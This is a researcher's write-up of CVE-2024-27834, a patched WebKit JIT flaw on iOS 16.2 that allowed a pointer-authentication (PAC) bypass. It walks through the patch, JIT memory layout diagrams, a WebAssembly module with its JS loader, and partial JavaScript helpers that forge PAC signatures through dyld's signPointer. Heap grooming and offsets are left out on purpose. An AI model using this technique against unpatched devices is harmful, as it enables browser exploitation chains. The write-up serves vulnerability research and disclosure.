The code snippets and conceptual analysis presented in this document are based on iOS 16.2.
The bug was disclosed and patched after Pwn2Own 2024 and was assigned CVE-2024-27834. Details of the patch can be found in the WebKit repository.
- https://support.apple.com/en-us/120905
- https://github.com/WebKit/WebKit/commit/3e3d0883c84955472ece1b2f2e63f31522c5440d
Before reviewing how this bug was found and exploited, we can first examine the patch. The following part is the most relevant for the purposes of this analysis.
// Source/JavaScriptCore/jit/ThunkGenerators.cpp
- PtrTag tempReturnPCTag = static_cast<PtrTag>(random());
- jit.move(JSInterfaceJIT::TrustedImmPtr(tempReturnPCTag), extraTemp);
- jit.tagPtr(extraTemp, GPRInfo::regT3);
+ // We don't want to pass a tag register to pacib because it could get hijacked to make a PAC bypass gadget so we use pacizb instead.
+ static_assert(NoPtrTag == static_cast<PtrTag>(0));
+ jit.tagPtr(NoPtrTag, GPRInfo::regT3);The comment provided in the patch is explicit: because a tag register is supplied,
tagPtr can be repurposed as a PAC bypass gadget.Readers familiar with
WebKit will likely anticipate what follows from this point.
In late 2023, I was doing a project about Safari on iOS 16 and needed a PAC bypass to bridge the next stage. The PAC bypass of Operation Triangulation had been patched in iOS 16.0.
At that time, JOP is still doable with:
- A PACIZA pointer that could be used to hijack control flow by pointer replacement.
- Many such pointers are available within the dyld shared cache.
The options available were either to find a new PAC bypass or to complete the next satge using a constrained JOP chain.
The JOP gadgets I found then were highly unstable, and I could not guarantee that all function pointers required for the next stage would be obtainable. Consequently, I prioritized the search for a PAC bypass.
My objective was clear. Existing PAC instructions in the memory had already been prioritized for hardening, whereas PAC instructions within the JIT remained less mitigated.
A similar approach was mentioned by Luca during his 2022 Hexacon talk, which reinforced the feasibility of this idea. The known constraint was JITCage. After evaluating the limitation, I concluded that exploring a PAC bypass in the JIT was worthwhile, or at least, interesting.
(BTW, I found that the screenshot of JSKit in GTIG's blog was interesting.)
By searching for tagPtr, I located instances of JIT-related PAC instructions
in the WebKit codebase. One particular location proved interesting.
MacroAssemblerCodeRef<JITThunkPtrTag> arityFixupGenerator(VM& vm)
{
...
PtrTag tempReturnPCTag = static_cast<PtrTag>(random());
jit.move(JSInterfaceJIT::TrustedImmPtr(tempReturnPCTag), extraTemp);
jit.tagPtr(extraTemp, GPRInfo::regT3);
jit.storePtr(GPRInfo::regT3, JSInterfaceJIT::Address(GPRInfo::callFrameRegister, CallFrame::returnPCOffset()));
...
}arityFixupGenerator emits a substantial number of JIT instructions. Among them,
jit.tagPtr(extraTemp, GPRInfo::regT3); corresponds to the instruction
PACIB X3, X5 in memory. If this PAC instruction can be hijacked and both X3 and
X5 can be controlled, it provides an nice PACIB primitive.
I will not elaborate on the extensive implementation details here. A thorough discussion would require in-depth analysis of the source code and the JavaScriptCore.Framework, which would detract from the clarity of the exploitation strategy itself. Additionally, I do not intend for the information shared here to be misused.
Before outlining the exploitation plan, let's take a look into WebAssembly (wasm) within JSC, as this technique will be central to the subsequent discussion.
WebAssembly (wasm) is a stack-based virtual machine binary instruction format commonly supported by JavaScript engines. Developers may write WebAssembly programs directly using WAT (WebAssembly Text Format). For example:
(module
(import "imports" "foo"
(func $foo (param i64 i64 i64 i64 i64 i64 i64 i64 i64 i64) (result i64)))
(func $go (param $a f64) (param $b f64) (param $c f64)
(param $d f64) (param $e f64) (param $f f64)
(param $g f64) (param $h f64) (param $i f64) (param $j f64) (result f64)
(i64.reinterpret_f64 (local.get $a))
(i64.reinterpret_f64 (local.get $b))
(i64.reinterpret_f64 (local.get $c))
(i64.reinterpret_f64 (local.get $d))
(i64.reinterpret_f64 (local.get $e))
(i64.reinterpret_f64 (local.get $f))
(i64.reinterpret_f64 (local.get $g))
(i64.reinterpret_f64 (local.get $h))
(i64.reinterpret_f64 (local.get $i))
(i64.reinterpret_f64 (local.get $j))
call $foo
f64.reinterpret_i64
)
(export "go" (func $go))
)This program is extremely simple: it accepts multiple parameters, invokes an
imported function named foo.By compiling this program with the tools,
the resulting WebAssembly binary can be obtained and invoked in JS.
let code = [0, 97, 115, 109, 1, 0, 0, 0, 1, 29, 2, 96, 10, 126, 126, 126, 126,
126, 126, 126, 126, 126, 126, 1, 126, 96, 10, 124, 124, 124, 124, 124,
124, 124, 124, 124, 124, 1, 124, 2, 15, 1, 7, 105, 109, 112, 111, 114,
116, 115, 3, 102, 111, 111, 0, 0, 3, 2, 1, 1, 7, 6, 1, 2, 103, 111, 0,
1, 10, 37, 1, 35, 0, 32, 0, 189, 32, 1, 189, 32, 2, 189, 32, 3, 189,
32, 4, 189, 32, 5, 189, 32, 6, 189, 32, 7, 189, 32, 8, 189, 32, 9, 189,
16, 0, 191, 11];
...
...
let wasm_module = new WebAssembly.Module(codeArray.buffer);
let wasm_instance = new WebAssembly.Instance(wasm_module, { imports: { foo: foo } });What I actually want is the invocation of the imported function within this wasm program.
Referring to doWasmCall, when wasm calls an imported JavaScript function,
the stub is obtained through instance->importFunctionInfo(functionIndex)->wasmToEmbedderStub.
By attaching a debugger, two characteristics can be observed: when this stub is invoked,
it adheres to the ARM64 calling convention, and the pointer from this stub to the
JIT code is signed with PACIB.
Prior to invocation, an additional retagging occurs, replacing
WasmEntryPtrTag with JSEntrySlowPathPtrTag for PAC signing.
#define WASM_CALL_RETURN(targetInstance, callTarget, callTargetTag) do { \
WASM_RETURN_TWO((retagCodePtr<callTargetTag, JSEntrySlowPathPtrTag>(callTarget)), targetInstance); \
} while (false)
inline SlowPathReturnType doWasmCall(Wasm::Instance* instance, unsigned functionIndex)
{
...
WASM_CALL_RETURN(instance, codePtr.executableAddress(), WasmEntryPtrTag);
...
}The corresponding code for retagging can be found in the shared cache:
loc_19B71DA00
MOV X16, X21
MOV X17, #0x24AD
AUTIB X16, X17
MOV X17, X16
XPACI X17
CMP X16, X17
B.EQ loc_19B71DA20
...
MOV X20, X16
...
loc_19B71DA28
MOV W8, #0x7F72
PACIB X20, X8
B loc_19B71D9E8
If we can perform a PACIB signing, it is possible to replace the JIT code
pointer of wasmToEmbedderStub, thereby obtaining a primitive for
control flow hijacking.
Returning to the bug, assume that arbitrary read and write primitives have already been achieved within the WebContent process. The next question is how to leverage a PACIB instruction within the JIT region to construct a PACIB gadget.
With arbitrary read and write access inside the process, it is possible to modify libpas heap metadata to compromise the allocation of JIT memory. By determining the allocation order and size of JIT code blocks, their placement in memory can be controlled. This part is left as an exercise for the reader.
The core exploitation process consists of three primary steps.
Step 1: Construct the first wasm program, using the WAT code shown above. The imported JavaScript function simply returns its fourth argument. This step does not require control over JIT memory allocation. We refer to this wasm program as wasm_A.
function foo(x0, x1, x2, x3, x4, x5, x6, x7, x8) {
return x3;
}
JIT Memory
┌───────────────────────────────────────────────────────────┐
│ │
│ │
│ USED │
┼───────────────────────────────────────────────────────────┼
│ │
│ │
│ │
│ │
│ │
│ │
│ │
wasm_A stub ─────►│ pacibsp │
│ stp x29, x30, [sp, #-0x10]! │
│ mov x29, sp │
│ stur xzr, [x29, #0x10] │
│ ... │
│ retab │
│ │
│ │
│ │
│ │
└───────────────────────────────────────────────────────────┘
Step 2: Using arbitrary memory read/write primitives in combination with repeated
execution of a JavaScript function, trigger the invocation of arityFixupGenerator
and control the corresponding JIT memory allocation address. By calculating the
appropriate offset, the PACIB X3, X5 instruction can be positioned to land precisely
at the location referenced by wasm_A’s wasmToEmbedderStub. As a result, the original
code at wasmToEmbedderStub is overwritten and corrupted.
JIT Memory
┌──────────────────────────────┐
│ │
│ │
│ USED │
┼──────────────────────────────┤
arityFixupGenerator ──────►│ pacibsp │
│ ldur x3, [x29, #0x8] │
│ ... │
│ │
│ │
│ │
│ add x5, x29, #0x10 │
wasm_A─────►│ pacib x3, x5 │
│ stur x3, [x29, #0x8] │
│ retab │
│ │
│ │
│ │
│ │
│ │
│ │
│ │
└──────────────────────────────┘
Step 3: Construct a new wasm program similar to wasm_A, referred to as wasm_B.
Arrange for wasm_B’s wasmToEmbedderStub to be placed at the address corresponding
to wasm_A’s stub + 4, thereby skipping a single ARM64 instruction.What does this
achieve? The code at wasm_A’s stub now consists of the injected PACIB X3, X5
instruction followed by the original stub instructions, roughly as follows:
JIT Memory
┌──────────────────────────────────┐
│ │
│ │
│ USED │
┼──────────────────────────────────┤
arityFixupGenerator ──────►│ pacibsp │
│ ldur x3, [x29, #0x8] │
│ ... │
│ │
│ │
│ │
│ add x5, x29, #0x10 │
wasm_A stub ─────►│ pacib x3, x5 │
wasm_B stub ─────►│ pacibsp │
│ stp x29, x30, [sp, #-0x10]! │
│ mov x29, sp │
│ stur xzr, [x29, #0x10] │
│ ... │
│ retab │
│ │
│ │
│ │
└──────────────────────────────────┘
wasm_A continues to function normally, except that an additional PACIB instruction
is now inserted at the beginning of its stub. Meanwhile, the imported function foo
returns its fourth argument, as intended.
In this manner, a usable PACIB gadget is obtained. By locating the signPointer function within dyld and using the gadget to produce a valid signature, the resulting signed pointer can be written back into wasmToEmbedderStub, thereby achieving a complete PAC bypass.
Many implementation details have been intentionally omitted from this description, including certain heap grooming techniques and the cleanup performed after exploitation.
Finally, we have things like this:
let dyld4signPointerSigned = jit_pacib(
0x0n,
0x1111111n,
0x22222n,
dyld4signPointer, // X3
0x44444n,
wasmEntryPtrTag, // X5
0x666n,
0x777n,
0x888n
);
function callSignPointer(addr, loc, addrDiv, diversity, key) {
write64(instance + SOME_SUPER_COOL_OFFSET, dyld4signPointerSigned);
let local_loc = loc;
let local_addrDiv = addrDiv;
let local_diversity = diversity;
if ((diversity & 0xffffffffffff0000n) != 0n) {
// diversity is big, need to do sth
local_addrDiv = 1n;
local_diversity = diversity >> 48n; // diversity hold high 16 bit
local_loc = (diversity << 16n) >> 16n; // loc hold low 48 bit
}
return d2i(
wasm_instance.exports.go(
i2d(addr),
i2d(local_loc),
i2d(local_addrDiv),
i2d(local_diversity),
i2d(key)
)
);
}
function pacia(ptr, tag) {
return callSignPointer(ptr, 0n, 0n, tag, 0n);
}
function pacib(ptr, tag) {
return callSignPointer(ptr, 0n, 0n, tag, 1n);
}
function pacda(ptr, tag) {
return callSignPointer(ptr, 0n, 0n, tag, 2n);
}
function pacdb(ptr, tag) {
return callSignPointer(ptr, 0n, 0n, tag, 3n);
}
And crash report here